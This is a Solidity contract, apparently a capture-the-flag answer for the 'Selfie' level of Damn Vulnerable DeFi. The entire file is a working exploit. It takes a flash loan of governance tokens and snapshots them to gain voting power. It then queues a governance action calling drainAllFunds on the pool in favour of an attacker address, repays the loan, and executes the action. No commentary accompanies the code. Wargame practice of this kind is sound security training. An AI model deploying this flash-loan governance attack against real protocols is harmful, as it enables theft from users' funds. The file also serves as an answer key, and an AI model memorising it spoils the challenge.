dvd6_ans1.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ISelfiePool {
    function flashLoan(uint256 borrowAmount) external;
}

interface ISimpleGovernance {
    function executeAction(uint256 actionId) external payable;

    function queueAction(
        address receiver,
        bytes calldata data,
        uint256 weiAmount
    ) external returns (uint256);
}

interface ITokenSnapshot {
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function snapshot() external returns (uint256);
}

contract SelfieExploit {
    ISelfiePool public immutable pool;
    address attacker;
    ISimpleGovernance public immutable gov;

    uint256 actionId;

    constructor(
        address _pool,
        address _attacker,
        address _gov
    ) {
        pool = ISelfiePool(_pool);
        attacker = _attacker;
        gov = ISimpleGovernance(_gov);
    }

    function attack(uint256 borrowAmount) external {
        pool.flashLoan(borrowAmount);
    }

    function receiveTokens(address token, uint256 borrowAmount) public {
        ITokenSnapshot(token).snapshot();
        actionId = gov.queueAction(
            address(pool),
            abi.encodeWithSignature("drainAllFunds(address)", attacker),
            0
        );
        ITokenSnapshot(token).transfer(address(pool), borrowAmount);
    }

    function execute() external {
        gov.executeAction(actionId);
    }
}